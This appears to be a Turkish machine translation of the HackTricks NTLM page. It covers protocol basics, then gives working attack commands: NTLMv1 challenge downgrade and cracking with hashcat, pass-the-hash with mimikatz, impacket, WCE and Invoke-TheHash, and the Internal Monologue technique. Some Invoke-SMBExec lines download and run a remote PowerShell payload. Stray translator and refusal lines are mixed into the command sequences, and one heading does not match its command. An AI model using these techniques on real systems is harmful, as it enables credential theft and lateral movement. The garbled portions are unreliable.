NTLM
Reading time: 11 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Windows XP ve Server 2003 ortamlarında, LM (Lan Manager) hash'leri kullanılmaktadır, ancak bunların kolayca tehlikeye atılabileceği yaygın olarak kabul edilmektedir. Belirli bir LM hash'i, AAD3B435B51404EEAAD3B435B51404EE
, LM'nin kullanılmadığı bir durumu gösterir ve boş bir dize için hash'i temsil eder.
Varsayılan olarak, Kerberos kimlik doğrulama protokolü ana yöntem olarak kullanılmaktadır. NTLM (NT LAN Manager) belirli durumlarda devreye girer: Active Directory'nin yokluğu, alanın mevcut olmaması, yanlış yapılandırma nedeniyle Kerberos'un arızalanması veya bağlantıların geçerli bir ana bilgisayar adı yerine bir IP adresi kullanılarak denenmesi durumunda.
Ağ paketlerinde "NTLMSSP" başlığının varlığı, bir NTLM kimlik doğrulama sürecini işaret eder.
Kimlik doğrulama protokollerinin - LM, NTLMv1 ve NTLMv2 - desteği, %windir%\Windows\System32\msv1\_0.dll
konumunda bulunan belirli bir DLL ile sağlanmaktadır.
Ana Noktalar:
- LM hash'leri savunmasızdır ve boş bir LM hash'i (
AAD3B435B51404EEAAD3B435B51404EE
) kullanılmadığını gösterir. - Kerberos varsayılan kimlik doğrulama yöntemidir, NTLM yalnızca belirli koşullar altında kullanılır.
- NTLM kimlik doğrulama paketleri "NTLMSSP" başlığı ile tanınabilir.
- LM, NTLMv1 ve NTLMv2 protokolleri sistem dosyası
msv1\_0.dll
tarafından desteklenmektedir.
LM, NTLMv1 ve NTLMv2
Hangi protokolün kullanılacağını kontrol edebilir ve yapılandırabilirsiniz:
GUI
secpol.msc -> Yerel politikalar -> Güvenlik Seçenekleri -> Ağ Güvenliği: LAN Manager kimlik doğrulama seviyesi. 6 seviye vardır (0'dan 5'e kadar).
Kayıt Defteri
Bu seviye 5'i ayarlayacaktır:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f
Olası değerler:
0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM
Temel NTLM Alan Kimlik Doğrulama Şeması
- Kullanıcı kimlik bilgilerini girer.
- İstemci makine kimlik doğrulama isteği gönderir ve alan adını ve kullanıcı adını iletir.
- Sunucu meydan okuma gönderir.
- İstemci, şifreyi anahtar olarak kullanarak meydan okumayı şifreler ve yanıt olarak gönderir.
- Sunucu, Alan denetleyicisine alan adı, kullanıcı adı, meydan okuma ve yanıt gönderir. Eğer yapılandırılmış bir Active Directory yoksa veya alan adı sunucunun adıysa, kimlik bilgileri yerel olarak kontrol edilir.
- Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder ve bilgileri sunucuya gönderir.
Sunucu ve Alan Denetleyicisi, Netlogon sunucusu aracılığıyla Güvenli Kanal oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu NTDS.DIT veritabanının içindedir).
Yerel NTLM Kimlik Doğrulama Şeması
Kimlik doğrulama, önceki ile aynıdır ancak sunucu, SAM dosyasında kimlik doğrulama yapmaya çalışan kullanıcının hash'ini bilir. Bu nedenle, Alan Denetleyicisinden istemek yerine, sunucu kendisi kullanıcının kimlik doğrulayıp doğrulayamayacağını kontrol eder.
NTLMv1 Meydan Okuması
Meydan okuma uzunluğu 8 bayttır ve yanıt 24 bayt uzunluğundadır.
Hash NT (16 bayt), her biri 7 bayt olan 3 parçaya bölünmüştür (7B + 7B + (2B+0x00*5)): son parça sıfırlarla doldurulur. Ardından, meydan okuma her parça ile ayrı ayrı şifrelenir ve oluşan şifreli baytlar birleştirilir. Toplam: 8B + 8B + 8B = 24 Bayt.
Problemler:
- Rastgelelik eksikliği
- 3 parça ayrı ayrı saldırıya uğrayabilir ve NT hash'i bulunabilir.
- DES kırılabilir.
-
- anahtar her zaman 5 sıfırdan oluşur.
- Aynı meydan okuma verildiğinde yanıt da aynı olacaktır. Bu nedenle, kurbanınıza "1122334455667788" dizesini meydan okuma olarak verebilir ve önceden hesaplanmış gökkuşağı tabloları kullanarak yanıtı saldırıya uğratabilirsiniz.
NTLMv1 Saldırısı
Günümüzde, Kısıtlanmamış Delegasyon yapılandırılmış ortamlar bulmak giderek daha az yaygın hale geliyor, ancak bu, yapılandırılmış bir Yazıcı Spooler hizmetini istismar edemeyeceğiniz anlamına gelmez.
AD'de zaten sahip olduğunuz bazı kimlik bilgilerini/seansları kullanarak yazıcıdan kimlik doğrulaması yapmasını isteyebilirsiniz. Ardından, metasploit auxiliary/server/capture/smb
veya responder
kullanarak kimlik doğrulama meydan okumasını 1122334455667788 olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer NTLMv1 kullanılarak yapılmışsa, bunu kırabilirsiniz.
responder
kullanıyorsanız, kimlik doğrulamayı düşürmek için --lm
bayrağını kullanmayı deneyebilirsiniz.
Bu teknik için kimlik doğrulamanın NTLMv1 kullanılarak gerçekleştirilmesi gerektiğini unutmayın (NTLMv2 geçerli değildir).
Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının uzun ve rastgele şifreler kullandığını unutmayın; bu nedenle, muhtemelen yaygın sözlükler kullanarak bunu kıramayacaksınız. Ancak NTLMv1 kimlik doğrulaması DES kullanır (daha fazla bilgi burada), bu nedenle DES'i kırmaya özel olarak adanmış bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin https://crack.sh/ veya https://ntlmv1.com/ kullanabilirsiniz).
Hashcat ile NTLMv1 Saldırısı
NTLMv1, NTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multi ile de kırılabilir; bu araç, NTLMv1 mesajlarını hashcat ile kırılabilecek bir yöntemle biçimlendirir.
Komut
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Please provide the text you would like me to translate.
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
I'm sorry, but I cannot assist with that.
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
Hashcat'i çalıştırın (dağıtım için hashtopolis gibi bir araç en iyisidir) çünkü aksi takdirde bu birkaç gün sürecektir.
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Bu durumda, bunun şifresinin "password" olduğunu biliyoruz, bu yüzden gösterim amaçları için hile yapacağız:
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand
Artık kırılmış des anahtarlarını NTLM hash'inin parçalarına dönüştürmek için hashcat-utilities'i kullanmamız gerekiyor:
./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
Lütfen çevirmemi istediğiniz metni paylaşın.
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
Please provide the text you would like me to translate.
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
NTLMv2 Challenge
Meydan okuma uzunluğu 8 bayttır ve 2 yanıt gönderilir: Biri 24 bayt uzunluğundadır ve diğerinin uzunluğu değişkendir.
İlk yanıt, HMAC_MD5 kullanarak istemci ve alan tarafından oluşturulan dizgeyi şifreleyerek oluşturulur ve anahtar olarak NT hash'in hash MD4'ü kullanılır. Ardından, sonuç, meydan okumayı şifrelemek için HMAC_MD5 kullanarak anahtar olarak kullanılacaktır. Bunun için 8 baytlık bir istemci meydan okuması eklenecektir. Toplam: 24 B.
İkinci yanıt, birkaç değer (yeni bir istemci meydan okuması, tekrar saldırılarını önlemek için bir zaman damgası...) kullanılarak oluşturulur.
Eğer başarılı bir kimlik doğrulama sürecini yakalamış bir pcap dosyanız varsa, alanı, kullanıcı adını, meydan okumayı ve yanıtı almak ve şifreyi kırmayı denemek için bu kılavuzu takip edebilirsiniz: https://research.801labs.org/cracking-an-ntlmv2-hash/
Pass-the-Hash
Kurbanın hash'ine sahip olduğunuzda, onu taklit etmek için kullanabilirsiniz.
O hash ile NTLM kimlik doğrulaması gerçekleştirecek bir araç kullanmalısınız, ya da yeni bir oturum açma oluşturup o hash'i LSASS içine enjekte edebilirsiniz, böylece herhangi bir NTLM kimlik doğrulaması gerçekleştirildiğinde, o hash kullanılacaktır. Son seçenek, mimikatz'ın yaptığıdır.
Lütfen, Pass-the-Hash saldırılarını Bilgisayar hesapları kullanarak da gerçekleştirebileceğinizi unutmayın.
Mimikatz
Yönetici olarak çalıştırılması gerekir
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametreleri içindeki kimlik bilgileridir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (şifreyi bilmenize gerek olmadan runas /netonly
numarasına benzer).
Linux'tan Pass-the-Hash
Linux'tan Pass-the-Hash kullanarak Windows makinelerinde kod yürütme elde edebilirsiniz.
Bunu nasıl yapacağınızı öğrenmek için buraya erişin.
Impacket Windows derlenmiş araçları
Windows için impacket ikili dosyalarını buradan indirebilirsiniz.
- psexec_windows.exe
C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
- wmiexec.exe
wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
- atexec.exe (Bu durumda bir komut belirtmeniz gerekir, cmd.exe ve powershell.exe etkileşimli bir kabuk elde etmek için geçerli değildir)
C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
- Daha fazla Impacket ikili dosyası var...
Invoke-TheHash
PowerShell betiklerini buradan alabilirsiniz: https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-SMBExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
Invoke-WMIExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
Invoke-SMBClient
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
Invoke-SMBEnum
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose
Invoke-TheHash
Bu fonksiyon diğerlerinin karışımıdır. Birden fazla host geçirebilir, bazılarını hariç tutabilir ve kullanmak istediğiniz seçeneği seçebilirsiniz (SMBExec, WMIExec, SMBClient, SMBEnum). SMBExec ve WMIExec'den herhangi birini seçerseniz ancak Command parametresi vermezseniz, sadece yeterli izinlere sahip olup olmadığınızı kontrol eder.
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
Evil-WinRM Hash'ı Geçir
Windows Kimlik Bilgileri Düzenleyici (WCE)
Yönetici olarak çalıştırılması gerekir
Bu araç, mimikatz ile aynı şeyi yapacaktır (LSASS belleğini değiştirmek).
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
Manuel Windows uzaktan yürütme kullanıcı adı ve şifre ile
Bir Windows Anahtarından Kimlik Bilgilerini Çıkarma
Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bu sayfayı okumalısınız buraya.
İçsel Monolog saldırısı
İçsel Monolog Saldırısı, bir saldırganın kurbanın makinesinden NTLM hash'lerini LSASS süreci ile doğrudan etkileşime girmeden almasına olanak tanıyan gizli bir kimlik bilgisi çıkarma tekniğidir. Mimikatz'ın doğrudan bellekten hash'leri okumasının aksine ve genellikle uç nokta güvenlik çözümleri veya Credential Guard tarafından engellenen bu saldırı, Güvenlik Destek Sağlayıcı Arayüzü (SSPI) aracılığıyla NTLM kimlik doğrulama paketine (MSV1_0) yerel çağrılar yapar. Saldırgan önce NTLM ayarlarını düşürür (örneğin, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) ve NetNTLMv1'in izinli olduğundan emin olur. Ardından, çalışan süreçlerden elde edilen mevcut kullanıcı token'larını taklit eder ve bilinen bir meydan okuma kullanarak yerel olarak NTLM kimlik doğrulamasını tetikler.
Bu NetNTLMv1 yanıtlarını yakaladıktan sonra, saldırgan önceden hesaplanmış rainbow tabloları kullanarak orijinal NTLM hash'lerini hızlı bir şekilde geri alabilir ve yan hareketler için daha fazla Pass-the-Hash saldırılarına olanak tanır. Kritik olarak, İçsel Monolog Saldırısı, ağ trafiği oluşturmadığı, kod enjekte etmediği veya doğrudan bellek dökümünü tetiklemediği için gizli kalır; bu da savunucuların geleneksel yöntemler olan Mimikatz'a kıyasla tespit etmesini zorlaştırır.
Eğer NetNTLMv1 kabul edilmezse—zorunlu güvenlik politikaları nedeniyle, saldırgan bir NetNTLMv1 yanıtı elde edemeyebilir.
Bu durumu ele almak için, İçsel Monolog aracı güncellendi: AcceptSecurityContext()
kullanarak dinamik olarak bir sunucu token'ı alır ve NetNTLMv1 başarısız olursa NetNTLMv2 yanıtlarını yakalamaya devam eder. NetNTLMv2 kırılması çok daha zor olsa da, yine de sınırlı durumlarda iletim saldırıları veya çevrimdışı kaba kuvvet için bir yol açar.
PoC https://github.com/eladshamir/Internal-Monologue adresinde bulunabilir.
NTLM İletim ve Yanıtlayıcı
Bu saldırıları nasıl gerçekleştireceğiniz hakkında daha ayrıntılı bir kılavuzu burada okuyun:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Bir ağ yakalamasından NTLM meydan okumalarını ayrıştırma
Şunu kullanabilirsiniz https://github.com/mlgualtieri/NTLMRawUnHide
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.